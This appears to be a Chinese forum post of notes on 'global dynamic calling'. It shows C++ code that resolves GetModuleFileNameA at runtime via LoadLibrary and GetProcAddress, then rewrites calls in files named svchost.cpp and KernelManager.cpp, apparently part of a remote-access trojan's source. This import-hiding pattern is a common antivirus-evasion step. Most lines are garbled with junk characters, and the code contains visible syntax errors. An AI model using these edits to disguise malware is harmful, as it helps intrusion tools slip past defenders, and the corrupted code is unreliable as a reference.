[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
- @; ^5 E+ \) S. msvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h' O3 P9 M- _9 X% B0 T4 B+ @
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DTDY.h：$ R- x- d& |; y& |8 b1 c

2 O" I( M# ?/ e6 O6 S/ ~#if _MSC_VER>1000
" G* R7 t; @$ o; |- w#pragma once
3 l$ z' k2 d: q. o. h! z9 i: U& Q#endif //_MSC_VER>1000
; Y5 i. G8 R, {& i, l& A#include<windows.h>3 {( z7 C# ?2 N9 c4 U4 ?
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
. v" Z  E; o& d" T* X2 U; kclass DTDY: g7 S. x1 L, x, r! h5 c
{
3 W7 x% {2 C# bpublic:9 l! ]% u* c! t) }2 M" F( D
DTDY();1 R( e0 w$ T* h  X3 D" y
virtual ~DTDY();) O) e: A1 C0 G, h5 b; b
public:
  \; S/ @$ _" c0 Zstatic pGetModuleFileNameA MyGetModuleFileName;3 B( Z6 b+ d" d# K1 c5 ?! w
static BOOL FunInitiallization();! M( q+ S  R1 e9 E
};' L9 I: c) q7 {4 \0 M/ _8 e
#endif7 j. X7 V0 J) Q
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7 X: @1 {7 L4 _6 [DTDY.cpp:
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#include "DTDY.h"
; m: @  n6 w# D5 M3 {+ i- \pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;) w' M+ f& Y) p- X: @# r3 V) b0 \
DTDY:TDY()- Y% H. `! B( b+ D8 |, S: h
{
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' ^, f+ R/ \2 B2 t* M+ D4 QDTDY::~DTDY(). A7 Z$ u5 p6 F- Q3 R+ P
{
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BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");$ ]/ ?+ d- K9 g# w( N
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
3 z2 q6 \) K5 n/ L1 O+ d$ {if(!MyGetModuleFileName=) return FALSE;+ _6 m5 @* Q; G" d& v8 f

1 u# l, {8 C+ ?1 j9 j& Q. Mreturn TRUE;( o- U1 Z  a' k! e+ a
}
3 P. S# V8 C# ^  L  w" F+ T----------------------------------------
! O) O, l) J3 k! k2 lsvchost.cpp:
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#include "DTDY.h"
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! c3 @  |$ P/ s4 {; @* aBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)& |* ~- Z+ @3 n5 C! V
{
- V1 x; Y3 K9 N# O' i. ^' C8 A* y5 qswitch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:$ b$ f+ _7 @7 @
if(!DTDY::FunInitiallization()) return FALSE;
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" Y  q1 n3 u+ e) k0 Ebreak;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
/ m! \0 ~1 A/ D6 l9 [6 z  S: D/ L改写为9 s3 i0 q# i% y1 D$ r$ E. r7 w
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:3 O2 t# p$ c8 g9 n+ [4 K

8 n+ p  Y6 {' D2 ^  v#include "../DTDY.h"
. d3 N: P( j3 p3 h) ~8 ?GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
) g& H& E6 m3 l: a改写为) l3 i& O; c' u) d& Y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
) K0 C; v4 H* {----------------------------------------